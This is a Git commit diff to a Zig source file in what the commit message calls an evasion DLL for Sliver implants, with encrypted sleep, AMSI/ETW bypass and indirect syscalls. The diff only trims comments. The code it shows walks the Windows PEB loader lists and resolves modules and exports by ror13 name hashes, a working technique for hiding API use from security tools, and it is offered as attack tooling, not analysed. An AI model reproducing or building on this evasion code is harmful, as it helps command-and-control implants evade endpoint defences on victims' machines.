Valak evasion DLL for Sliver implants. ChaCha20 encrypted sleep, synthetic callstack frames via indirect syscalls, HWBP AMSI/ETW bypass, FreshyCalls, CRT-free.
This commit is contained in:
+5
-25
@@ -1,18 +1,13 @@
|
||||
// PEB-based module and function resolution. No static imports ??? everything resolved at runtime.
|
||||
// PEB-based module and function resolution, everything resolved at runtime.
|
||||
const std = @import("std");
|
||||
const win = @import("win32.zig");
|
||||
const pe = @import("pe.zig");
|
||||
|
||||
// Doubly-linked list node used by Windows loader structures.
|
||||
// PEB_LDR_DATA chains these to track loaded modules in three orderings.
|
||||
pub const LIST_ENTRY = extern struct {
|
||||
Flink: *LIST_ENTRY,
|
||||
Blink: *LIST_ENTRY,
|
||||
};
|
||||
|
||||
// Loader data block hung off the PEB. Each module list is a circular linked list
|
||||
// of LDR_DATA_TABLE_ENTRY nodes. InMemoryOrder is the safest to walk ??? InLoadOrder
|
||||
// can race during DLL load/unload on other threads.
|
||||
pub const PEB_LDR_DATA = extern struct {
|
||||
Length: win.ULONG,
|
||||
Initialized: win.BYTE,
|
||||
@@ -23,9 +18,6 @@ pub const PEB_LDR_DATA = extern struct {
|
||||
InInitializationOrderModuleList: LIST_ENTRY,
|
||||
};
|
||||
|
||||
// One entry per loaded module. Contains the DLL base, image size, and its name.
|
||||
// The InMemoryOrderLinks list_entry is embedded at a known offset from the struct start ???
|
||||
// we subtract that offset to get back to the full LDR_DATA_TABLE_ENTRY.
|
||||
pub const LDR_DATA_TABLE_ENTRY = extern struct {
|
||||
InLoadOrderLinks: LIST_ENTRY,
|
||||
InMemoryOrderLinks: LIST_ENTRY,
|
||||
@@ -37,8 +29,7 @@ pub const LDR_DATA_TABLE_ENTRY = extern struct {
|
||||
BaseDllName: win.UNICODE_STRING,
|
||||
};
|
||||
|
||||
// The Process Environment Block lives at GS:0x60 on x64.
|
||||
// Only the fields we actually touch are defined ??? the real struct is much larger.
|
||||
// PEB at GS:0x60 on x64.
|
||||
pub const PEB = extern struct {
|
||||
Reserved1: [2]win.BYTE,
|
||||
BeingDebugged: win.BYTE,
|
||||
@@ -47,8 +38,7 @@ pub const PEB = extern struct {
|
||||
Ldr: *PEB_LDR_DATA,
|
||||
};
|
||||
|
||||
// ror13 hash of a module or function name. Case-insensitive ??? uppercases each byte before mixing.
|
||||
// Same algorithm used by Hell's Gate and other manual-map tooling for consistency.
|
||||
// ror13 hash, case-insensitive.
|
||||
pub fn hash_ror13(input: []const u8) u32 {
|
||||
var hash: u32 = 0;
|
||||
for (input) |c| {
|
||||
@@ -60,7 +50,6 @@ pub fn hash_ror13(input: []const u8) u32 {
|
||||
return hash;
|
||||
}
|
||||
|
||||
// Reads GS:[0x60] to return the PEB pointer.
|
||||
pub fn get_peb() *PEB {
|
||||
const ptr: usize = asm volatile ("mov %%gs:0x60, %[ptr]"
|
||||
: [ptr] "=r" (-> usize),
|
||||
@@ -68,17 +57,13 @@ pub fn get_peb() *PEB {
|
||||
return @as(*PEB, @ptrFromInt(ptr));
|
||||
}
|
||||
|
||||
// Walks InMemoryOrderModuleList looking for a DLL whose ror13-hashed BaseDllName matches.
|
||||
// Returns the module's base address or null if not found.
|
||||
pub fn get_module_by_hash(hash: u32) ?*anyopaque {
|
||||
const peb_ptr = get_peb();
|
||||
const ldr = peb_ptr.Ldr;
|
||||
// Walk the circular linked list starting from InMemoryOrderModuleList
|
||||
const head = @as(*LIST_ENTRY, @ptrCast(&ldr.InMemoryOrderModuleList));
|
||||
var entry = head.Flink;
|
||||
|
||||
while (entry != head) : (entry = entry.Flink) {
|
||||
// Subtract the offset of InMemoryOrderLinks to get back to the LDR_DATA_TABLE_ENTRY
|
||||
const le: *LDR_DATA_TABLE_ENTRY = @ptrCast(@alignCast(@as(*anyopaque, @ptrFromInt(@intFromPtr(entry) - @offsetOf(LDR_DATA_TABLE_ENTRY, "InMemoryOrderLinks")))));
|
||||
|
||||
if (le.BaseDllName.Length == 0) continue;
|
||||
@@ -100,8 +85,6 @@ pub fn get_module_by_hash(hash: u32) ?*anyopaque {
|
||||
return null;
|
||||
}
|
||||
|
||||
// Follows a forwarded export string ("module.function") to resolve the real target.
|
||||
// Splits on the dot, hashes both halves, looks up the module, then the function within it.
|
||||
fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
|
||||
const forward_str = @as([*:0]u8, @ptrCast(@alignCast(base_bytes + @as(usize, @intCast(forward_rva)))));
|
||||
const str = std.mem.sliceTo(forward_str, 0);
|
||||
@@ -112,8 +95,6 @@ fn resolve_forward_string(base_bytes: [*]u8, forward_rva: u32) ?*anyopaque {
|
||||
return get_func_by_hash(dll_base, func_hash);
|
||||
}
|
||||
|
||||
// Parses a module's export directory, hashes each exported name, and returns the matching
|
||||
// function address. Handles forwarded exports (looking-glass exports that redirect to another DLL).
|
||||
pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
|
||||
const base_bytes = @as([*]u8, @ptrCast(base));
|
||||
const dos = @as(*pe.IMAGE_DOS_HEADER, @ptrCast(@alignCast(base_bytes)));
|
||||
@@ -157,8 +138,7 @@ pub fn get_func_by_hash(base: *anyopaque, func_hash: u32) ?*anyopaque {
|
||||
var cached_kernel32: ?*anyopaque = null;
|
||||
var cached_ntdll: ?*anyopaque = null;
|
||||
|
||||
// Three-tier lookup: specific module by hash ??? kernel32 ??? ntdll ??? full PEB module walk.
|
||||
// Falls back to scanning every loaded module if the requested module isn't found or isn't loaded.
|
||||
// Three-tier: specific module, then kernel32, then ntdll, then full PEB walk.
|
||||
pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
|
||||
if (module_hash != 0) {
|
||||
if (get_module_by_hash(module_hash)) |base| {
|
||||
@@ -191,4 +171,4 @@ pub fn resolve_api(module_hash: u32, func_hash: u32) ?*anyopaque {
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user